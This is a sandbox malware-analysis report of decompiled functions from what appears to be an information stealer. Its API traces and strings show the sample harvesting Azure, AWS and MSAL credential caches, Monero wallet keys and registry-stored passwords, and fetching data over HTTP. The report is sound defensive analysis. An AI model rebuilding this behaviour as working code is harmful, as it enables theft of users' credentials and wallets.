Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 04716d85d4613077788f501ea858d220e6b54d36cddd9e9c20a89a35c4534279
Instruction ID: 1c9fa9e0cb79cecf4fbb5da444b0f425aae73e89046a5cb8c617e29efb74c78f
Opcode Fuzzy Hash: 04716d85d4613077788f501ea858d220e6b54d36cddd9e9c20a89a35c4534279
Instruction Fuzzy Hash: 95810C71950118ABEB28DB54DC95FEEBBB8FF48700F008299E509A6180DF756F86DF90

Function 00F36280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F34839
Part of subcall function 00F347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F34849

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

InternetOpenA.WININET(00F50DFE,00000001,00000000,00000000,00000000), ref: 00F362E1
StrCmpCA.SHLWAPI(?,0078FB70), ref: 00F36303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F36335
HttpOpenRequestA.WININET(00000000,GET,?,0078F4A0,00000000,00000000,00400100,00000000), ref: 00F36385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F363BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F363D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00F363FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F3646D
InternetCloseHandle.WININET(00000000), ref: 00F364EF
InternetCloseHandle.WININET(00000000), ref: 00F364F9
InternetCloseHandle.WININET(00000000), ref: 00F36503

Strings

ERROR, xrefs: 00F364C9
GET, xrefs: 00F3637C
ERROR, xrefs: 00F36407

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 118036586cfc71738922a6c88ab0966aa5c7b5f9e6d5eccb6f07e1af15900825
Instruction ID: 87184cdcda294eff6897cb4112ba4765bc0f81859f75d1fcb1dcc4aabb3b266f
Opcode Fuzzy Hash: 118036586cfc71738922a6c88ab0966aa5c7b5f9e6d5eccb6f07e1af15900825
Instruction Fuzzy Hash: 8F717071A40218ABEB24DF90DC49BEE7778FF44710F108058F506AB2C4DBB56A85DF51

Function 00F45510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F4A820: lstrlen.KERNEL32(00F34F05,?,?,00F34F05,00F50DDE), ref: 00F4A82B
Part of subcall function 00F4A820: lstrcpy.KERNEL32(00F50DDE,00000000), ref: 00F4A885

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F45644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F456A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F45857

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F451F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F45228

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F452C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F45318
Part of subcall function 00F452C0: lstrlen.KERNEL32(00000000), ref: 00F4532F
Part of subcall function 00F452C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00F45364
Part of subcall function 00F452C0: lstrlen.KERNEL32(00000000), ref: 00F45383
Part of subcall function 00F452C0: lstrlen.KERNEL32(00000000), ref: 00F453AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F4578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F45940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F45A0C
Sleep.KERNEL32(0000EA60), ref: 00F45A1B

Strings

ERROR, xrefs: 00F45636
ERROR, xrefs: 00F4577D
ERROR, xrefs: 00F459FE
ERROR, xrefs: 00F45849
ERROR, xrefs: 00F45932
ERROR, xrefs: 00F45693

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 9109ea1639292c5f0b2ead18ea5def1a98d5ad284e5617bbb1912e104bc11805
Instruction ID: 1f3ed535691c62bb00a1b32518cc3cc0b69a6a7491c4642e3c34af5bcc93c4a9
Opcode Fuzzy Hash: 9109ea1639292c5f0b2ead18ea5def1a98d5ad284e5617bbb1912e104bc11805
Instruction Fuzzy Hash: 68E151729501049BDB18FBA0EC56AED7B38EF54300F448128B91657196EF38AB4DEB92

Function 00F44D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F48E0B

lstrcat.KERNEL32(?,00000000), ref: 00F44DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00F44DCD

Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F4492C
Part of subcall function 00F44910: FindFirstFileA.KERNEL32(?,?), ref: 00F44943

lstrcat.KERNEL32(?,00000000), ref: 00F44E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00F44E59

Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F50FDC), ref: 00F44971
Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F50FE0), ref: 00F44987
Part of subcall function 00F44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F44B7D
Part of subcall function 00F44910: FindClose.KERNEL32(000000FF), ref: 00F44B92

lstrcat.KERNEL32(?,00000000), ref: 00F44EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00F44EE5

Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F449B0
Part of subcall function 00F44910: StrCmpCA.SHLWAPI(?,00F508D2), ref: 00F449C5
Part of subcall function 00F44910: wsprintfA.USER32 ref: 00F449E2
Part of subcall function 00F44910: PathMatchSpecA.SHLWAPI(?,?), ref: 00F44A1E
Part of subcall function 00F44910: lstrcat.KERNEL32(?,0078FB40), ref: 00F44A4A
Part of subcall function 00F44910: lstrcat.KERNEL32(?,00F50FF8), ref: 00F44A5C
Part of subcall function 00F44910: lstrcat.KERNEL32(?,?), ref: 00F44A70
Part of subcall function 00F44910: lstrcat.KERNEL32(?,00F50FFC), ref: 00F44A82
Part of subcall function 00F44910: lstrcat.KERNEL32(?,?), ref: 00F44A96
Part of subcall function 00F44910: CopyFileA.KERNEL32(?,?,00000001), ref: 00F44AAC
Part of subcall function 00F44910: DeleteFileA.KERNEL32(?), ref: 00F44B31

Strings

\.IdentityService\, xrefs: 00F44ED9
msal.cache, xrefs: 00F44EF0
Azure\.IdentityService, xrefs: 00F44EEB
*.*, xrefs: 00F44E64
Azure\.aws, xrefs: 00F44E5F
\.azure\, xrefs: 00F44DC1
\.aws\, xrefs: 00F44E4D
*.*, xrefs: 00F44DD8
Azure\.azure, xrefs: 00F44DD3

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 9070f5d8109d8e83048b418666020442187100c068fce4620a86fa546a4faec8
Instruction ID: dfef5308a1d137a5b1c9d5d0e2af526730f629160cea2410380593c092e50585
Opcode Fuzzy Hash: 9070f5d8109d8e83048b418666020442187100c068fce4620a86fa546a4faec8
Instruction Fuzzy Hash: 3041C87A94020467D764F760EC47FED3B38AB24701F4048947A45660C2FEB8A7DDAB93

Function 00F31310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F312A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F312B4
Part of subcall function 00F312A0: RtlAllocateHeap.NTDLL(00000000), ref: 00F312BB
Part of subcall function 00F312A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00F312D7
Part of subcall function 00F312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00F312F5
Part of subcall function 00F312A0: RegCloseKey.ADVAPI32(?), ref: 00F312FF

lstrcat.KERNEL32(?,00000000), ref: 00F3134F
lstrlen.KERNEL32(?), ref: 00F3135C
lstrcat.KERNEL32(?,.keys), ref: 00F31377

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Part of subcall function 00F4A9B0: lstrlen.KERNEL32(?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F4A9C5
Part of subcall function 00F4A9B0: lstrcpy.KERNEL32(00000000), ref: 00F4AA04
Part of subcall function 00F4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F4AA12

Part of subcall function 00F4A8A0: lstrcpy.KERNEL32(?,00F50E17), ref: 00F4A905

Part of subcall function 00F48B60: GetSystemTime.KERNEL32(00F50E1A,0078ED10,00F505AE,?,?,00F313F9,?,0000001A,00F50E1A,00000000,?,00788908,?,\Monero\wallet.keys,00F50E17), ref: 00F48B86

Part of subcall function 00F4A920: lstrcpy.KERNEL32(00000000,?), ref: 00F4A972
Part of subcall function 00F4A920: lstrcat.KERNEL32(00000000), ref: 00F4A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00F31465

Part of subcall function 00F4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F4A7E6

Part of subcall function 00F399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F399EC
Part of subcall function 00F399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F39A11
Part of subcall function 00F399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F39A31
Part of subcall function 00F399C0: ReadFile.KERNEL32(000000FF,?,00000000,00F3148F,00000000), ref: 00F39A5A
Part of subcall function 00F399C0: LocalFree.KERNEL32(00F3148F), ref: 00F39A90
Part of subcall function 00F399C0: CloseHandle.KERNEL32(000000FF), ref: 00F39A9A

DeleteFileA.KERNEL32(00000000), ref: 00F314EF

Strings

\Monero\wallet.keys, xrefs: 00F3138D
.keys, xrefs: 00F3136B
wallet_path, xrefs: 00F31330
SOFTWARE\monero-project\monero-core, xrefs: 00F31335

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 1c88e093c7f39fa27013ccb9976ea4a2306ee497bef2a38512d239d6e931c5d1
Instruction ID: 6d0b5490a49afb7840df5508bfbb717bf687dfe08bfad8d19f9ef235727818bf
Opcode Fuzzy Hash: 1c88e093c7f39fa27013ccb9976ea4a2306ee497bef2a38512d239d6e931c5d1
Instruction Fuzzy Hash: 3C5144B1D5011897DB25FB60DD92BED773CEF54304F4045A8BA0A62082EF346B89DBA6

Function 00F375D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F372D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00F3733A
Part of subcall function 00F372D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00F373B1
Part of subcall function 00F372D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00F3740D
Part of subcall function 00F372D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00F37452
Part of subcall function 00F372D0: HeapFree.KERNEL32(00000000), ref: 00F37459

lstrcat.KERNEL32(356BD020,00F517FC), ref: 00F37606
lstrcat.KERNEL32(356BD020,00000000), ref: 00F37648
lstrcat.KERNEL32(356BD020, : ), ref: 00F3765A
lstrcat.KERNEL32(356BD020,00000000), ref: 00F3768F
lstrcat.KERNEL32(356BD020,00F51804), ref: 00F376A0
lstrcat.KERNEL32(356BD020,00000000), ref: 00F376D3
lstrcat.KERNEL32(356BD020,00F51808), ref: 00F376ED
task.LIBCPMTD ref: 00F376FB

Strings

: , xrefs: 00F3764E

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000103F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.000000000104B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001310000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.000000000141A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456643777.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457004688.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2457155478.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 724e851126e56832b0e77ba6a0fc974318c824c4cc4bdecc57be9edb04ade113
Instruction ID: ffcfe0f8688b6030f9177847106dc6d50183604af30417ed20bb911058d2503f
Opcode Fuzzy Hash: 724e851126e56832b0e77ba6a0fc974318c824c4cc4bdecc57be9edb04ade113
Instruction Fuzzy Hash: F13112B2900209DBCB18FBE4EC55DFF7775BF44312F144118F522A7285DA38A986EB51

Function 00F47500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00F47542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F4757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F47603
RtlAllocateHeap.NTDLL(00000000), ref: 00F4760A
wsprintfA.USER32 ref: 00F47640

Part of subcall function 00F4A740: lstrcpy.KERNEL32(00F50E17,00000000), ref: 00F4A788

Strings

C, xrefs: 00F4754C
\, xrefs: 00F47560
:, xrefs: 00F4755C

Memory Dump Source

Source File: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000000.00000002.2456108846.0000000000F30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000F8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2456137465.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
